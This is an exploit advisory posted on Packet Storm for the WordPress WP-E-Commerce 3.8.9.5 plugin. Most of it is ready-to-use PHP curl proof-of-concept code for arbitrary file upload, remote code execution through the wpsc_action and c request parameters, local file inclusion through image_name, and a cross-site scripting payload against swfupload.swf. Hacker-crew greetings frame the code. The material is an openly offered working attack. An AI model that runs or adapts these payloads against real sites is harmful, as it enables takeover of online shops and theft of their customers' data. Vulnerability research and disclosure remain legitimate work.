what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress E-Commerce 3.8.9.5 File Upload / XSS / CSRF / Code Execution

WordPress E-Commerce 3.8.9.5 File Upload / XSS / CSRF / Code Execution
Posted Jan 24, 2014
Authored by KedAns-Dz

WordPress WP-E-Commerce plugin version 3.8.9.5 suffers from local file inclusion, cross site scripting, cross site request forgery, file upload, and code execution vulnerabilities.

tags | exploit, local, vulnerability, code execution, xss, file inclusion, file upload, csrf
SHA-256 | edba02aaa935d1d5f1e5623a4cb8bd063c56bc9ce671b002045fc66a328f645e

WordPress E-Commerce 3.8.9.5 File Upload / XSS / CSRF / Code Execution

Change Mirror Download

###########################################
#-----------------------------------------#
#[ 0-DAY Aint DIE | No Priv8 | KedAns-Dz ]#
#-----------------------------------------#
# *----------------------------* #
# K |....##...##..####...####....| . #
# h |....#...#........#..#...#...| A #
# a |....#..#.........#..#....#..| N #
# l |....###........##...#.....#.| S #
# E |....#.#..........#..#....#..| e #
# D |....#..#.........#..#...#...| u #
# . |....##..##...####...####....| r #
# *----------------------------* #
#-----------------------------------------#
#[ Copyright © 2014 | Dz Offenders Cr3w ]#
#-----------------------------------------#
###########################################
# >> D_x . Made In Algeria . x_Z << #
######################################################################
#
# [>] Title : Wordpress Plugin (wp-e-commerce v3.8.9.5) Multiple Vulnerabilities
#
# [>] Author : KedAns-Dz
# [+] E-mail : ked-h (@hotmail.com)
# [+] FaCeb0ok : fb.me/K3d.Dz
# [+] TwiTter : @kedans
#
# [#] Platform : PHP / WebApp
# [+] Cat/Tag : File Upload , Code Exec , File Include , Cross-Site Scripting , Object Inject
#
# [<] <3 <3 Greetings t0 Palestine <3 <3
# [>] ^_^ Greetings to 1337day Users/FAN's and Owners <3 *_* , i'm leaving 1337day
# [-] F-ck Hacking , LuV Exploiting .. Penetration-Testing rouls
#
######################################################################
##====[ PoC(1) : File Upload ]================================
#
# - CWE : CWE-616 , CWE-434
#
# <?php
# /*
# - file : save-data.functions.php
# - lines : 486.. 504
#
# line : 500
#
# move_uploaded_file( $_FILES['image']['tmp_name'], $new_image_path );
#
# */
#
# $headers = array("Content-Type: application/octet-stream",
# "Content-Disposition: form-data; name=\"image\"; file=\"k3d.gif\""); # gif name !
#
# $uploadfile="KedAns-Dz TesT !"; # U'r file content h3re !
#
# $ch = curl_init("http://[Target]/[path]/wp-e-commerce/wpsc-admin/includes/save-data.functions.php");
# curl_setopt($ch, CURLOPT_POST, true);
# curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
# curl_setopt($ch, CURLOPT_POSTFIELDS, array('image'=>"@$uploadfile"));
# curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
# $postResult = curl_exec($ch);
# curl_close($ch);
# print "$postResult";
# ?>
#
##====[ PoC(2) : Remote Code ExeC ]===========================
#
# - CWE : CWE-94
#
# <?php
# /*
# - file : ajax.php
# - lines : 38 , 41 , 57
#
# $callback = "_wpsc_ajax_{$ajax_action}";
# call_user_func $result = call_user_func($callback);
# $ajax_action = str_replace('-', '_', $_REQUEST['wpsc_action']);
#
# */
#
# $ch = curl_init();
# curl_setopt($ch, CURLOPT_URL, "http://[Target]/[path]/wp-e-commerce/wpsc-admin/ajax.php?wpsc_action=[CMD]");
# curl_setopt($ch, CURLOPT_HTTPGET, 1);
# curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
# curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
# $buf = curl_exec ($ch);
# curl_close($ch);
# unset($ch);
# echo $buf;
# ?>
#
##====[ PoC(3) : Remote Code ExeC ]===========================
#
# - CWE : CWE-94
#
# <?php
# /*
# - file : display-sales-logs.php
# - line : 23
#
# $controller = $_REQUEST['c'];
#
# */
# $ch = curl_init();
# curl_setopt($ch, CURLOPT_URL, "http://[Target]/[path]/wp-e-commerce/wpsc-admin/display-sales-logs.php?c=[CMD]");
# curl_setopt($ch, CURLOPT_HTTPGET, 1);
# curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
# curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
# $buf = curl_exec ($ch);
# curl_close($ch);
# unset($ch);
# echo $buf;
# ?>
#
##=====[ PoC(4) Local File Include ]==========================
#
# - CWE : CWE-98
#
# <?php
# /*
# - file: misc.functions.php
# - lines : 280 .. 355
#
# * multiple bug in function imagecreatefromgif() , you can use any param's to exploit it.
#
# * param's : [ image_name , category_id , wpsc_request_image , productid , image_id ]
#
# */
#
# $ch = curl_init();
# curl_setopt($ch, CURLOPT_URL, "http://[Target]/[path]/wp-e-commerce/wpsc-includes/misc.functions.php?image_name=[LFI/LFD]");
# curl_setopt($ch, CURLOPT_HTTPGET, 1);
# curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
# curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
# $buf = curl_exec ($ch);
# curl_close($ch);
# unset($ch);
# echo $buf;
# ?>
#
##====[ PoC(5) Remote XSS/XSRF ]==============================
#
# - http://1337day.com/exploit/20517
# - CVE :CVE-2012-2399 , CVE-2012-3414
# - CWE : CWE-352
#
# JS alert() Code : %22]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%28%27HaCked%20By%20KedAns-Dz%27%29;//
#
# http://[Target]/[path]/wp-e-commerce/wpsc-core/js/swfupload/swfupload.swf?movieName=[ JS Code ]
# http://[Target]/[path]/wp-e-commerce/wpsc-core/js/swfupload/swfupload.swf?buttonImageURL=[ Object/Image URL ]
#
###############################################################

####
# <! THE END ^_* ! , Good Luck all <3 | 0-DAY Aint DIE ^_^ !>
# Hassi Messaoud (30500) , 1850 city/hood si' elHaouass .<3
#---------------------------------------------------------------
# Greetings to my Homies : Indoushka , Caddy-Dz , Kalashinkov3 ,
# Chevr0sky , Mennouchi.Islem , KinG Of PiraTeS , TrOoN , T0xic,
# & Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz , Barbaros-DZ , &
# & KnocKout , Angel Injection , The Black Divels , kaMtiEz , &
# & Evil-Dz , Elite_Trojan , MalikPc , Marvel-Dz , Shinobi-Dz, &
# & Keystr0ke , JF , r0073r , CroSs , Inj3ct0r/Milw0rm 1337day &
# =( packetstormsecurity.org * metasploit.com * OWASP & OSVDB )=
####
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close